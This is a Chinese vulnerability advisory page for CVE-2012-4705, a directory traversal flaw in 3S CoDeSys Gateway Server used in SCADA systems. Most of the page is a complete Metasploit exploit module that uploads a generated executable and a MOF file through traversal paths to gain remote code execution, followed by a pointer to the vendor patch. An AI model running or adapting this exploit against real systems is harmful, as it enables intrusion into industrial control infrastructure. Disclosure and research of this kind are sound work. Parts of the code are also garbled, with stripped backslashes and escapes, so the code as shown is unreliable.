Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / CoDeSys Gateway Server目录遍历漏洞(CVE-2012-4705)

发布日期:2013-02-19
更新日期:2013-04-26受影响系统:
3S CoDeSys Gateway Server <= 2.3.9.27
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 59446
 CVE(CAN) ID: CVE-2012-4705
 
CoDeSys是Windows平台下,独立于硬件的IEC 61131-3开发系统,用于编程和创建控制器应用。
 
CoDeSys 2.3.9.27之前版本存在目录遍历漏洞,通过此漏洞可创建任意文件,这些文件可用于执行mof文件,以获取SCADA系统的远程执行权限。
 
<*来源:Aaron Portnoy (aportnoy@ccs.neu.edu)
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # web site for more information on licensing and terms of use.
 # http://metasploit.com
 ##
 
require "msf/core"
 
class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking
 
  include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper
 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::WbemExec
 
  def initialize(info = {})
   super(update_info(info,
     "Name"         => "SCADA 3S CoDeSys Gateway Server Directory Traversal",
     "Description"    => %q{
         This module exploits a directory traversal vulnerability that allows arbitrary
       file creation, which can be used to execute a mof file in order to gain remote
       execution within the SCADA system.
     },
     "Author"       =>
       [
         "Enrique Sanchez <esanchez[at]accuvant.com>"
       ],
     "License"        => "MSF_LICENSE",
     "References"   =>
       [
         ["CVE", "2012-4705"],
         ["URL", "http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf"]
       ],
     "DisclosureDate" => "Feb 02 2013",
     "Platform"     => "win",
     "Targets"        =>
       [
         ["Windows Universal S3 CoDeSyS < 2.3.9.27", { }]
       ],
     "DefaultTarget" => 0))
 
    register_options(
     [
       Opt::RPORT(1211),
     ], self.class)
 end
 
  ##
 # upload_file(remote_filepath, remote_filename, local_filedata)
 #
 # remote_filepath: Remote filepath where the file will be uploaded
 # remote_filename: Remote name of the file to be executed ie. boot.ini
 # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
 def upload_file(remote_filepath, remote_filename, local_filedata = null)
   magic_code = "xddxdd"
   opcode = [6].pack("L")
 
    # We create the filepath for the upload, for execution it should be windowssystem32wbemmof<file with extension mof!
   file = "..\..\" << remote_filepath << remote_filename << "x00"
   #print_debug("File to upload: #{file}")
   pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
   #print_debug(pkt_size)
 
    # Magic_code  + packing + size
   pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack("L")
 
    tmp_pkt = opcode << file
   tmp_pkt += "x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack("L") << local_filedata
   pkt << tmp_pkt
 
    print_status("Starting upload of file #{remote_filename}")
   connect
   sock.put(pkt)
   disconnect
 
    print_status("File uploaded")
 end
 
  def exploit
   print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
 
    # We create an exe payload, we have to get remote execution in 2 steps
   exe = generate_payload_exe
   exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
   upload_file("windows\system32\", exe_name, exe)
 
    # We create the mof file and upload (second step)
   mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
   mof = generate_mof(mof_name, exe_name)
   upload_file("WINDOWS\system32\wbem\mof\", mof_name, mof)
 
    print_status("Everything is ready, waiting for a session ... ")
   handler
 
    #Taken from the spooler exploit writen byt jduck and HDMoore
   cnt = 1
   while session_created? == false and cnt < 25
     ::IO.select(nil, nil, nil, 0.25)
     cnt += 1
   end
 end
 end建议:
--------------------------------------------------------------------------------
厂商补丁:
 
3S
 --
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://www.3s-software.com/index.shtml?en_CoDeSysV3_ennginx "ngx_http_close_connection()"远程整数溢出漏洞F-Secure产品ActiveX组件代码执行漏洞相关资讯      CoDeSys安全漏洞 
  • CoDeSys目录遍历漏洞  (01/16/2013 08:23:51)
  • CoDeSys Control服务CmbWebserver.  (12/01/2012 09:28:07)
  • CoDeSys身份验证绕过漏洞  (01/16/2013 08:23:22)
  • CoDeSys不明细节目录遍历漏洞  (10/30/2012 18:53:02)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有